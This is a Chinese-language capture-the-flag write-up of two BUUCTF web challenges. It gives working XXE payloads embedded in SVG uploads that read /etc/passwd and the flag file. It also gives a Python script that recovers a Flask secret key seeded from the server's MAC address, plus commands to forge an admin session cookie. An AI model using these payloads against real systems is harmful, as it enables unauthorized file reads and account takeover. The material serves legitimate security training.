本文最后更新于:2023年8月25日 下午
[TOC]
【BUUCTF】web(第4页wp) [BSidesCF 2019]SVGMagic
要我们上传svg图片,于是查询了一下svg图片的格式:
1 2 3 4 5 6 7 8 9 10 11 12 <svg version ="1.1" baseProfile ="full" width ="300" height ="200" xmlns ="http://www.w3.org/2000/svg" > <rect width ="100%" height ="100%" stroke ="red" stroke-width ="4" fill ="yellow" /> <circle cx ="150" cy ="100" r ="80" fill ="green" /> <text x ="150" y ="115" font-size ="16" text-anchor ="middle" fill ="white" > RUNOOB SVG TEST</text > </svg >
就是xml的格式,于是我们可以使用xxe漏洞
构造:
1 2 3 4 5 6 7 <?xml version="1.0" encoding = "UTF-8" ?> <!DOCTYPE TEST [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <svg width ="500" height ="400" > <text x ="20" y ="20" > &file; </text > </svg >
这里我们不知道工作目录,有一个重要的点:
/proc/self/cwd代表当前工作目录 所以我们可以:/proc/self/cwd/flag.txt
获得flag:
1 2 3 4 5 6 7 <?xml version="1.0" encoding = "UTF-8" ?> <!DOCTYPE TEST [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg width ="500" height ="400" > <text x ="20" y ="20" > &file; </text > </svg >
[CISCN2019 华东南赛区]Web4 打开首页发现一个读文件的路由,默认读取baidu
,于是我们想到任意文件读取漏洞,读取到了app.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import re, random, uuid, urllibfrom flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
这里访问/flag
,如果session['username'] == 'fuck'
,那么就给我们flag,但是观察一下好像没有地方可以改变session
于是我们注意到这里:
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 )
这里seed里的数uuid.getnode()
是去获得本机的网卡地址,是一个固定值,那么random.seed()
的种子值是一个固定的值,这样每次执行的结果都会一样,我们可以通过这个伪随机数的特性,获得SECRET_KEY
首先mac地址的路径为:/sys/class/net/eth0/address
:
(这里有一个很坑的地方,python2和python3random.random()
返回的位数不一样)
这里我们注意到print str(ex)
所以是python2,我们写脚本获得key:
1 2 3 4 5 import random random .seed (0x3e903d44c6b8 )print (str (random .random ()*233 )) # 99.7925476328
然后伪造session:(需要使用python2)
1 2 3 4 5 6 > python2 flask_session_cookie_manager2.py decode -s '99.7925476328' -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZMZCTw.sPDA4LgDEX86wL6dQ47agGUXveY' {u'username' : 'www-data' } > python2 flask_session_cookie_manager2.py encode -s '99.7925476328' -t "{u'username': 'fuck'}" eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZMZDRA.ROFgzhQXelSOrBQpyeB-ByGVb1o